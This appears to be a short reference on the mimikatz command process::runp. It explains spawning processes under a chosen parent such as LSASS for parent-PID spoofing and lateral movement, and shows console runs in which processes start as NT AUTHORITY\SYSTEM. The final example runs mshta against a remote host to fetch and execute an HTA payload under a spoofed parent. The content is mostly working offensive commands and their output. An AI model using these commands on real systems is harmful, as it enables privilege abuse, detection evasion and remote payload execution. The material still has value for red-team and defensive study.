process::runp runs a subprocess under a parent process (Default parent process is LSASS.exe). It can also be used for lateral movement and process spoofing. It has the following command line arguments:
/run: the name of the process
/ppid: the parent process ID
/token: The specified token privileges to run the new process. It can be found with token::list
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # process::runp /run:notepad.exe
[pid] no argument, default for LSASS
Run : notepad.exe
PPID: 712 <---------------- This is the pid of LSASS.exe
PID: 728 - TID: 2916
{0;000003e7} 1 D 22529734 NT AUTHORITY\SYSTEM S-1-5-18 (04g,31p) Primary
Run under a specified process
mimikatz # process::runp /run:notepad.exe /ppid:6388
Run : notepad.exe
PPID: 6388
PID: 7360 - TID: 8488
{0;000003e7} 1 D 23539338 NT AUTHORITY\SYSTEM S-1-5-18 (11g,08p) Primary
mshta payload execution example
mimikatz # process::runp /run:"mshta http://192.168.0.220:80/delivery.hta" /ppid:2948
Run : mshta http://192.168.0.220:80/delivery.hta
PPID: 2948
PID: 7928 - TID: 1300
{0;000003e7} 1 D 25077110 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary